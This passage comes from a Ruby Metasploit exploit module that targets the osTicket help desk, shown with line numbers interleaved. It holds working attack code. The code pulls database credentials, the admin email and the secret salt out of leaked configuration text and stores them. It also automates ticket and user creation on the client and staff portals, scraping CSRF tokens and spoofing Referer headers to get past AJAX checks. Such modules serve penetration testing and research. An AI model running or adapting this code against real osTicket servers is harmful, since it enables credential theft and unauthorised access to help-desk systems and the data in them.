898
db_user_match = text.match(/define\('DBUSER','([^']+)'\)/)
899
if db_user_match
900
db_host_val = text.match(/define\('DBHOST','([^']+)'\)/)&.[](1) || rhost
901
db_type_val = text.match(/define\('DBTYPE','([^']+)'\)/)&.[](1)&.downcase
902
903
if db_host_val =~ /\A(.+):(\d+)\z/
904
db_address = ::Regexp.last_match(1)
905
db_port = ::Regexp.last_match(2).to_i
906
else
907
db_address = db_host_val
908
db_port = case db_type_val
909
when 'mysql' then 3306
910
when 'pgsql', 'postgres' then 5432
911
when 'mssql' then 1433
912
else 3306
913
end
914
end
915
916
report_cred(db_user_match[1], match[1], 'osTicket database', address: db_address, port: db_port)
917
end
918
when 'ADMIN_EMAIL'
919
report_note(host: rhost, port: rport, type: 'osticket.admin_email', data: { email: match[1] })
920
when 'SECRET_SALT'
921
report_note(host: rhost, port: rport, type: 'osticket.secret_salt', data: { salt: match[1] })
922
end
923
end
924
end
925
end
926
927
# Reports a credential pair to the Metasploit database.
928
#
929
# @param username [String] credential username
930
# @param password [String] credential password
931
# @param service_name [String] service label (e.g. 'osTicket database')
932
# @param address [String] host address for the credential (defaults to rhost)
933
# @param port [Integer] port for the credential (defaults to rport)
934
def report_cred(username, password, service_name, address: rhost, port: rport)
935
create_credential(
936
module_fullname: fullname,
937
workspace_id: myworkspace_id,
938
origin_type: :service,
939
address: address,
940
port: port,
941
protocol: 'tcp',
942
service_name: service_name,
943
username: username,
944
private_data: password,
945
private_type: :password
946
)
947
rescue StandardError => e
948
vprint_error("Failed to store credential: #{e}")
949
end
950
951
# Extracts the first usable topicId from the static open.php HTML.
952
#
953
# NOTE: osTicket loads the subject/message form fields dynamically via AJAX
954
# (ajax.php/form/help-topic/{id}) when a topic is chosen, they are NOT in
955
# the initial open.php response. Call fetch_topic_form_fields separately.
956
#
957
# @param html [String] HTML of open.php
958
# @return [String] topicId value (first non-empty option, defaults to '1')
959
def detect_open_form_fields(html)
960
doc = Nokogiri::HTML(html)
961
962
topic_select = doc.at('select[@name="topicId"]') || doc.at('select[@id="topicId"]')
963
# Skip the blank placeholder option ("-- Select a Help Topic --")
964
topic_id = topic_select&.search('option')
965
&.find { |o| !o['value'].to_s.empty? }
966
&.[]('value') || '1'
967
968
vprint_status("detect_open_form_fields: topicId=#{topic_id}")
969
topic_id
970
end
971
972
# Fetches the dynamic ticket-creation form fields for a given help topic.
973
#
974
# When a user picks a help topic on open.php, the browser fires an AJAX
975
# request to ajax.php/form/help-topic/{id} which returns JSON containing
976
# an "html" key with the rendered form fields (subject input + message
977
# textarea, each named with a dynamic hex hash). This method replicates
978
# that browser-side call so we can extract the actual field names.
979
#
980
# @param base_uri [String] base path to osTicket
981
# @param topic_id [String] help topic ID (from detect_open_form_fields)
982
# @param cookies [String] session cookies
983
# @return [Array] [subject_field_name, message_field_name] or [nil, nil]
984
def fetch_topic_form_fields(base_uri, topic_id, cookies)
985
ajax_uri = normalize_uri(base_uri, 'ajax.php', 'form', 'help-topic', topic_id.to_s)
986
vprint_status("fetch_topic_form_fields: GET #{ajax_uri}")
987
988
proto = datastore['SSL'] ? 'https' : 'http'
989
referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, 'open.php')}"
990
991
res = send_request_cgi(
992
'method' => 'GET',
993
'uri' => ajax_uri,
994
'cookie' => cookies,
995
'headers' => {
996
'X-Requested-With' => 'XMLHttpRequest',
997
'Referer' => referer
998
}
999
)
1000
unless res&.code == 200
1001
vprint_error("fetch_topic_form_fields: AJAX request failed (code=#{res&.code})")
1002
return [nil, nil]
1003
end
1004
1005
begin
1006
data = JSON.parse(res.body)
1007
rescue JSON::ParserError => e
1008
vprint_error("fetch_topic_form_fields: JSON parse error: #{e}")
1009
return [nil, nil]
1010
end
1011
1012
form_html = data['html'].to_s
1013
if form_html.empty?
1014
vprint_error('fetch_topic_form_fields: Empty html in AJAX response')
1015
return [nil, nil]
1016
end
1017
1018
doc = Nokogiri::HTML(form_html)
1019
1020
subject_field = nil
1021
doc.search('input[@type="text"]').each do |input|
1022
name = input['name'].to_s
1023
if name.match?(/\A[a-f0-9]{10,}\z/)
1024
subject_field = name
1025
break
1026
end
1027
end
1028
1029
message_field = nil
1030
doc.search('textarea').each do |ta|
1031
name = ta['name'].to_s
1032
if name.match?(/\A[a-f0-9]{10,}\z/)
1033
message_field = name
1034
break
1035
end
1036
end
1037
1038
vprint_status("fetch_topic_form_fields: subject=#{subject_field.inspect}, message=#{message_field.inspect}")
1039
[subject_field, message_field]
1040
end
1041
1042
# Fetches the visible ticket number (e.g. 284220 from #284220) from a client ticket page.
1043
#
1044
# @param base_uri [String] base path to osTicket
1045
# @param ticket_id [String] internal ticket ID
1046
# @param cookies [String] session cookies
1047
# @return [String, nil] ticket number or nil
1048
def fetch_ticket_number(base_uri, ticket_id, cookies)
1049
tickets_uri = normalize_uri(base_uri, 'tickets.php')
1050
vprint_status("fetch_ticket_number: GET #{tickets_uri}?id=#{ticket_id}")
1051
res = send_request_cgi(
1052
'method' => 'GET',
1053
'uri' => tickets_uri,
1054
'cookie' => cookies,
1055
'vars_get' => { 'id' => ticket_id }
1056
)
1057
unless res&.code == 200
1058
vprint_warning("fetch_ticket_number: Could not load ticket page (code=#{res&.code})")
1059
return nil
1060
end
1061
1062
match = res.body.match(%r{<small>#(\d+)</small>})
1063
if match
1064
vprint_good("fetch_ticket_number: Ticket number=##{match[1]}")
1065
return match[1]
1066
end
1067
1068
vprint_warning('fetch_ticket_number: Could not parse ticket number from page')
1069
nil
1070
end
1071
1072
# Creates a new ticket via the client portal (open.php).
1073
# Returns the internal ticket ID and visible ticket number on success.
1074
#
1075
# @param base_uri [String] base path to osTicket
1076
# @param cookies [String] session cookies (client portal)
1077
# @param subject [String] ticket subject line
1078
# @param message [String] ticket message body
1079
# @return [Array] [ticket_id, ticket_number] or [nil, nil] on failure
1080
def create_ticket(base_uri, cookies, subject, message)
1081
open_uri = normalize_uri(base_uri, 'open.php')
1082
vprint_status("create_ticket: GET #{open_uri}")
1083
1084
res = send_request_cgi('method' => 'GET', 'uri' => open_uri, 'cookie' => cookies)
1085
unless res&.code == 200
1086
vprint_error("create_ticket: GET open.php failed (code=#{res&.code})")
1087
return [nil, nil]
1088
end
1089
1090
csrf = extract_csrf_token(res.body)
1091
# Fallback: meta csrf_token tag used on some osTicket builds
1092
csrf ||= res.body.match(/<meta\s+name="csrf_token"\s+content="([^"]+)"/i)&.[](1)
1093
unless csrf
1094
vprint_error('create_ticket: No CSRF token found on open.php')
1095
return [nil, nil]
1096
end
1097
1098
# Grab updated session cookies from the open.php response before any AJAX call
1099
session_cookies = res.get_cookies
1100
session_cookies = cookies if session_cookies.empty?
1101
1102
# Static HTML only has the topicId select; subject/message fields are
1103
# injected via ajax.php/form/help-topic/{id} when a topic is chosen.
1104
topic_id = detect_open_form_fields(res.body)
1105
subject_field, message_field = fetch_topic_form_fields(base_uri, topic_id, session_cookies)
1106
unless subject_field && message_field
1107
vprint_error('create_ticket: Could not detect form field names from topic AJAX response')
1108
return [nil, nil]
1109
end
1110
1111
vprint_status("create_ticket: POST #{open_uri} (topicId=#{topic_id})")
1112
res = send_request_cgi(
1113
'method' => 'POST',
1114
'uri' => open_uri,
1115
'cookie' => session_cookies,
1116
'vars_post' => {
1117
'__CSRFToken__' => csrf,
1118
'a' => 'open',
1119
'topicId' => topic_id,
1120
subject_field => subject,
1121
message_field => message,
1122
'draft_id' => ''
1123
}
1124
)
1125
unless res
1126
vprint_error('create_ticket: No response from POST open.php (nil)')
1127
return [nil, nil]
1128
end
1129
vprint_status("create_ticket: POST response code=#{res.code}")
1130
1131
new_cookies = res.get_cookies
1132
new_cookies = session_cookies if new_cookies.empty?
1133
1134
if res.code == 302
1135
location = res.headers['Location'].to_s
1136
ticket_id = location.match(/tickets\.php\?id=(\d+)/i)&.[](1)
1137
unless ticket_id
1138
vprint_error("create_ticket: Cannot parse ticket ID from Location header: #{location}")
1139
return [nil, nil]
1140
end
1141
vprint_good("create_ticket: Ticket created, internal ID=#{ticket_id}")
1142
ticket_number = fetch_ticket_number(base_uri, ticket_id, new_cookies)
1143
return [ticket_id, ticket_number]
1144
end
1145
1146
# Some installs return 200 with success notice and a link in the body
1147
if res.code == 200 && res.body.include?('ticket request created')
1148
id_match = res.body.match(/tickets\.php\?id=(\d+)/)
1149
if id_match
1150
ticket_id = id_match[1]
1151
ticket_number = fetch_ticket_number(base_uri, ticket_id, new_cookies)
1152
return [ticket_id, ticket_number]
1153
end
1154
end
1155
1156
vprint_error("create_ticket: Unexpected response (code=#{res.code})")
1157
[nil, nil]
1158
end
1159
1160
# -------------------------------------------------------------------------
1161
# SCP portal - ticket creation helpers
1162
# -------------------------------------------------------------------------
1163
1164
# Fetches static form fields from the SCP new-ticket page.
1165
#
1166
# GET {prefix}/tickets.php?a=open - extracts CSRF token and the first
1167
# non-empty option values for topicId, deptId, and slaId selects.
1168
#
1169
# @param base_uri [String] base path to osTicket
1170
# @param prefix [String] portal prefix ('/scp')
1171
# @param cookies [String] session cookies
1172
# @return [Hash, nil] {csrf:, topic_id:, dept_id:, sla_id:, session_cookies:} or nil
1173
def fetch_open_form_fields_scp(base_uri, prefix, cookies)
1174
open_uri = normalize_uri(base_uri, prefix, 'tickets.php')
1175
vprint_status("fetch_open_form_fields_scp: GET #{open_uri}?a=open")
1176
1177
res = send_request_cgi(
1178
'method' => 'GET',
1179
'uri' => open_uri,
1180
'cookie' => cookies,
1181
'vars_get' => { 'a' => 'open' }
1182
)
1183
unless res&.code == 200
1184
vprint_error("fetch_open_form_fields_scp: failed (code=#{res&.code})")
1185
return nil
1186
end
1187
1188
doc = Nokogiri::HTML(res.body)
1189
1190
csrf = doc.at('input[@name="__CSRFToken__"]')&.[]('value') ||
1191
doc.at('meta[@name="csrf_token"]')&.[]('content')
1192
unless csrf
1193
vprint_error('fetch_open_form_fields_scp: No CSRF token found')
1194
return nil
1195
end
1196
1197
first_option = lambda { |name|
1198
doc.at("select[@name=\"#{name}\"]")
1199
&.search('option')
1200
&.find { |o| !o['value'].to_s.strip.empty? }
1201
&.[]('value')
1202
}
1203
1204
topic_id = first_option.call('topicId') || '1'
1205
dept_id = first_option.call('deptId') || '0'
1206
sla_id = first_option.call('slaId') || '0'
1207
1208
vprint_status("fetch_open_form_fields_scp: csrf=#{csrf[0, 8]}... topicId=#{topic_id} deptId=#{dept_id} slaId=#{sla_id}")
1209
{
1210
csrf: csrf,
1211
topic_id: topic_id,
1212
dept_id: dept_id,
1213
sla_id: sla_id,
1214
session_cookies: res.get_cookies.empty? ? cookies : res.get_cookies
1215
}
1216
end
1217
1218
# Fetches dynamic subject/message field names for the SCP ticket form.
1219
#
1220
# Identical logic to fetch_topic_form_fields but sets the Referer to the
1221
# SCP new-ticket page (tickets.php?a=open) instead of open.php, which is
1222
# required to pass osTicket's AJAX Referer validation.
1223
#
1224
# @param base_uri [String] base path to osTicket
1225
# @param prefix [String] portal prefix ('/scp')
1226
# @param topic_id [String] help topic ID
1227
# @param cookies [String] session cookies
1228
# @return [Array] [subject_field_name, message_field_name] or [nil, nil]
1229
def fetch_topic_form_fields_scp(base_uri, prefix, topic_id, cookies)
1230
ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'form', 'help-topic', topic_id.to_s)
1231
vprint_status("fetch_topic_form_fields_scp: GET #{ajax_uri}")
1232
1233
proto = datastore['SSL'] ? 'https' : 'http'
1234
referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"
1235
1236
res = send_request_cgi(
1237
'method' => 'GET',
1238
'uri' => ajax_uri,
1239
'cookie' => cookies,
1240
'headers' => {
1241
'X-Requested-With' => 'XMLHttpRequest',
1242
'Referer' => referer
1243
}
1244
)
1245
unless res&.code == 200
1246
vprint_error("fetch_topic_form_fields_scp: AJAX failed (code=#{res&.code})")
1247
return [nil, nil]
1248
end
1249
1250
begin
1251
data = JSON.parse(res.body)
1252
rescue JSON::ParserError => e
1253
vprint_error("fetch_topic_form_fields_scp: JSON parse error: #{e}")
1254
return [nil, nil]
1255
end
1256
1257
form_html = data['html'].to_s
1258
if form_html.empty?
1259
vprint_error('fetch_topic_form_fields_scp: Empty html in AJAX response')
1260
return [nil, nil]
1261
end
1262
1263
doc = Nokogiri::HTML(form_html)
1264
1265
subject_field = doc.search('input[@type="text"]')
1266
.map { |i| i['name'].to_s }
1267
.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }
1268
1269
message_field = doc.search('textarea')
1270
.map { |t| t['name'].to_s }
1271
.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }
1272
1273
vprint_status("fetch_topic_form_fields_scp: subject=#{subject_field.inspect} message=#{message_field.inspect}")
1274
[subject_field, message_field]
1275
end
1276
1277
# Looks up an existing SCP user by email via the staff typeahead endpoint.
1278
#
1279
# @param base_uri [String] base path to osTicket
1280
# @param prefix [String] portal prefix ('/scp')
1281
# @param cookies [String] session cookies
1282
# @param email [String] email address to search
1283
# @return [String, nil] internal user ID or nil if not found
1284
def lookup_user_id_scp(base_uri, prefix, cookies, email)
1285
ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'local')
1286
vprint_status("lookup_user_id_scp: GET #{ajax_uri}?q=#{email}")
1287
1288
proto = datastore['SSL'] ? 'https' : 'http'
1289
referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"
1290
1291
res = send_request_cgi(
1292
'method' => 'GET',
1293
'uri' => ajax_uri,
1294
'cookie' => cookies,
1295
'vars_get' => { 'q' => email },
1296
'headers' => {
1297
'X-Requested-With' => 'XMLHttpRequest',
1298
'Referer' => referer
1299
}
1300
)
1301
unless res&.code == 200
1302
vprint_error("lookup_user_id_scp: request failed (code=#{res&.code})")
1303
return nil
1304
end
1305
1306
begin
1307
users = JSON.parse(res.body)
1308
rescue JSON::ParserError => e
1309
vprint_error("lookup_user_id_scp: JSON parse error: #{e}")
1310
return nil
1311
end
1312
1313
return nil unless users.is_a?(Array) && !users.empty?
1314
1315
user_id = users.first['id'].to_s
1316
vprint_good("lookup_user_id_scp: found user id=#{user_id}")
1317
user_id
1318
end
1319
1320
# Fetches the dynamic field names from the SCP user creation form.
1321
#
1322
# GET {prefix}/ajax.php/users/lookup/form returns an HTML fragment with
1323
# hex-hash field names for email (type="email") and full name (type="text").
1324
#
1325
# @param base_uri [String] base path to osTicket
1326
# @param prefix [String] portal prefix ('/scp')
1327
# @param cookies [String] session cookies
1328
# @return [Array] [email_field_name, fullname_field_name] or [nil, nil]
1329
def fetch_user_form_fields_scp(base_uri, prefix, cookies)
1330
ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'lookup', 'form')
1331
vprint_status("fetch_user_form_fields_scp: GET #{ajax_uri}")
1332
1333
proto = datastore['SSL'] ? 'https' : 'http'
1334
referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"
1335
1336
res = send_request_cgi(
1337
'method' => 'GET',
1338
'uri' => ajax_uri,
1339
'cookie' => cookies,
1340
'headers' => {
1341
'X-Requested-With' => 'XMLHttpRequest',
1342
'Referer' => referer
1343
}
1344
)
1345
unless res&.code == 200
1346
vprint_error("fetch_user_form_fields_scp: failed (code=#{res&.code})")
1347
return [nil, nil]
1348
end
1349
1350
doc = Nokogiri::HTML(res.body)
1351
1352
email_field = doc.search('input[@type="email"]')
1353
.map { |i| i['name'].to_s }
1354
.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }
1355
1356
name_field = doc.search('input[@type="text"]')
1357
.map { |i| i['name'].to_s }
1358
.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }
1359
1360
vprint_status("fetch_user_form_fields_scp: email_field=#{email_field.inspect} name_field=#{name_field.inspect}")
1361
[email_field, name_field]
1362
end
1363
1364
# Ensures a ticket owner user exists in osTicket via the SCP portal.
1365
#
1366
# Looks up the user by email first. If not found, fetches the user creation
1367
# form field names and POSTs to create the user, then looks up again to
1368
# retrieve the internal ID.
1369
#
1370
# NOTE: The email and fullname values come from SCP_TICKET_EMAIL /
1371
# SCP_TICKET_NAME datastore options - they are NOT the attacker's login
1372
# credentials and are only used here to assign ownership of the created
1373
# ticket.
1374
#
1375
# @param base_uri [String] base path to osTicket
1376
# @param prefix [String] portal prefix ('/scp')
1377
# @param cookies [String] session cookies
1378
# @param csrf [String] CSRF token from the SCP ticket form
1379
# @param email [String] ticket owner email (SCP_TICKET_EMAIL)
1380
# @param fullname [String] ticket owner full name (SCP_TICKET_NAME)
1381
# @return [String, nil] internal user ID or nil on failure
1382
def ensure_user_scp(base_uri, prefix, cookies, csrf, email, fullname)
1383
user_id = lookup_user_id_scp(base_uri, prefix, cookies, email)
1384
return user_id if user_id
1385
1386
vprint_status("ensure_user_scp: user not found, attempting to create (#{email})")
1387
1388
email_field, name_field = fetch_user_form_fields_scp(base_uri, prefix, cookies)
1389
unless email_field && name_field
1390
vprint_error('ensure_user_scp: Could not extract user form field names')
1391
return nil
1392
end
1393
1394
ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'lookup', 'form')
1395
proto = datastore['SSL'] ? 'https' : 'http'
1396
referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"
1397
1398
send_request_cgi(
1399
'method' => 'POST',
1400
'uri' => ajax_uri,
1401
'cookie' => cookies,
1402
'vars_post' => {
1403
email_field => email,
1404
name_field => fullname,
1405
'undefined' => 'Add User'
1406
},
1407
'headers' => {
1408
'X-Requested-With' => 'XMLHttpRequest',
1409
'X-CSRFToken' => csrf,
1410
'Referer' => referer
1411
}
1412
)
1413
1414
user_id = lookup_user_id_scp(base_uri, prefix, cookies, email)
1415
vprint_status("ensure_user_scp: post-create lookup id=#{user_id.inspect}")
1416
user_id
1417
end
1418
1419
# Fetches the visible ticket number from the SCP ticket page.
1420
#
1421
# The SCP portal renders the ticket number as <title>Ticket #NNNNNN</title>,
1422
# unlike the client portal which uses <small>#NNNNNN</small>.
1423
#
1424
# @param base_uri [String] base path to osTicket
1425
# @param prefix [String] portal prefix ('/scp')
1426
# @param ticket_id [String] internal ticket ID
1427
# @param cookies [String] session cookies
1428
# @return [String, nil] ticket number or nil
1429
def fetch_ticket_number_scp(base_uri, prefix, ticket_id, cookies)
1430
tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php')
1431
vprint_status("fetch_ticket_number_scp: GET #{tickets_uri}?id=#{ticket_id}")
1432
1433
res = send_request_cgi(
1434
'method' => 'GET',
1435
'uri' => tickets_uri,
1436
'cookie' => cookies,
1437
'vars_get' => { 'id' => ticket_id }
1438
)
1439
unless res&.code == 200
1440
vprint_warning("fetch_ticket_number_scp: Could not load ticket page (code=#{res&.code})")
1441
return nil
1442
end
1443
1444
match = res.body.match(%r{<title>Ticket #(\d+)</title>}i)
1445
if match
1446
vprint_good("fetch_ticket_number_scp: Ticket number=##{match[1]}")
1447
return match[1]
1448
end
1449
1450
vprint_warning('fetch_ticket_number_scp: Could not parse ticket number from page')
1451
nil
1452
end
1453
1454
# Creates a new ticket via the SCP (staff) portal.
1455
#
1456
# The ticket is owned by the user identified by SCP_TICKET_EMAIL /
1457
# SCP_TICKET_NAME options, which default to [email protected] / MSF User.
1458
# These options are ONLY consulted when ticket creation is triggered
1459
# through a valid SCP portal login.
1460
#
1461
# Flow:
1462
# 1. fetch_open_form_fields_scp - CSRF, topicId, deptId, slaId
1463
# 2. fetch_topic_form_fields_scp - subject/message hex-hash field names
1464
# 3. ensure_user_scp - lookup or create ticket owner, get user_id
1465
# 4. POST tickets.php?a=open - create ticket, follow 302 for ticket_id
1466
# 5. fetch_ticket_number_scp - resolve visible ticket number
1467
#
1468
# @param base_uri [String] base path to osTicket
1469
# @param prefix [String] portal prefix ('/scp')
1470
# @param cookies [String] session cookies
1471
# @param subject [String] ticket subject
1472
# @param message [String] ticket message body
1473
# @return [Array] [ticket_id, ticket_number] or [nil, nil] on failure
1474
def create_ticket_scp(base_uri, prefix, cookies, subject, message)
1475
fields = fetch_open_form_fields_scp(base_uri, prefix, cookies)
1476
return [nil, nil] unless fields
1477
1478
session_cookies = fields[:session_cookies]
1479
1480
subject_field, message_field = fetch_topic_form_fields_scp(
1481
base_uri, prefix, fields[:topic_id], session_cookies
1482
)
1483
unless subject_field && message_field
1484
vprint_error('create_ticket_scp: Could not detect subject/message field names')
1485
return [nil, nil]
1486
end
1487
1488
ticket_email = datastore['SCP_TICKET_EMAIL'].to_s
1489
ticket_fullname = datastore['SCP_TICKET_NAME'].to_s
1490
1491
user_id = ensure_user_scp(
1492
base_uri, prefix, session_cookies, fields[:csrf],
1493
ticket_email, ticket_fullname
1494
)
1495
unless user_id
1496
vprint_error('create_ticket_scp: Could not resolve ticket owner user ID')
1497
return [nil, nil]
1498
end
1499
1500
open_uri = normalize_uri(base_uri, prefix, 'tickets.php')
1501
vprint_status("create_ticket_scp: POST #{open_uri}?a=open (user_id=#{user_id})")
1502
1503
res = send_request_cgi(
1504
'method' => 'POST',
1505
'uri' => open_uri,
1506
'cookie' => session_cookies,
1507
'vars_post' => {
1508
'__CSRFToken__' => fields[:csrf],
1509
'do' => 'create',
1510
'a' => 'open',
1511
'email' => ticket_email,
1512
'name' => user_id,
1513
'reply-to' => 'all',
1514
'source' => 'Web',
1515
'topicId' => fields[:topic_id],
1516
'deptId' => fields[:dept_id],
1517
'slaId' => fields[:sla_id],
1518
'duedate' => '',
1519
'assignId' => '0',
1520
subject_field => subject,
1521
message_field => message,
1522
'cannedResp' => '0',
1523
'append' => '1',
1524
'response' => '',
1525
'statusId' => '1',
1526
'signature' => 'none',
1527
'note' => '',
1528
'draft_id' => ''
1529
}
1530
)
1531
unless res
1532
vprint_error('create_ticket_scp: No response from POST (nil)')
1533
return [nil, nil]
1534
end
1535
vprint_status("create_ticket_scp: POST response code=#{res.code}")
1536
1537
unless res.code == 302
1538
vprint_error("create_ticket_scp: Expected 302 redirect, got #{res.code}")
1539
return [nil, nil]
1540
end
1541
1542
location = res.headers['Location'].to_s
1543
ticket_id = location.match(/tickets\.php\?id=(\d+)/i)&.[](1)
1544
unless ticket_id
1545
vprint_error("create_ticket_scp: Cannot parse ticket ID from Location: #{location}")
1546
return [nil, nil]
1547
end
1548
1549
new_cookies = res.get_cookies.empty? ? session_cookies : res.get_cookies
1550
vprint_good("create_ticket_scp: Ticket created, internal ID=#{ticket_id}")
1551
1552
ticket_number = fetch_ticket_number_scp(base_uri, prefix, ticket_id, new_cookies)
1553
[ticket_id, ticket_number]
1554
end
1555
1556
# Detects the reply textarea field name from the ticket page HTML.
1557
#
1558
# Uses Nokogiri DOM parsing for reliable attribute extraction.
1559
# osTicket sets id="response" (SCP) or id="message" (client) on the reply
1560
# textarea and gives it a dynamic hex-hash name attribute.
1561
#
1562
# @param html [String] ticket page HTML
1563
# @param prefix [String] portal prefix ('/scp' or '')
1564
# @return [String] textarea field name
1565
def detect_reply_textarea(html, prefix)
1566
doc = Nokogiri::HTML(html)
1567
1568
# Try the well-known ids first
1569
ta = doc.at('textarea[@id="response"]') || doc.at('textarea[@id="message"]')
1570
return ta['name'] if ta && !ta['name'].to_s.empty?
1571
1572
# Fallback: any textarea with a hex-hash name (osTicket dynamic field naming)
1573
doc.search('textarea').each do |t|
1574
name = t['name'].to_s
1575
return name if name.match?(/\A[a-f0-9]{10,}\z/)
1576
end
1577
1578
prefix == '/scp' ? 'response' : 'message'
1579
end
1580
end
1581
end
1582
1583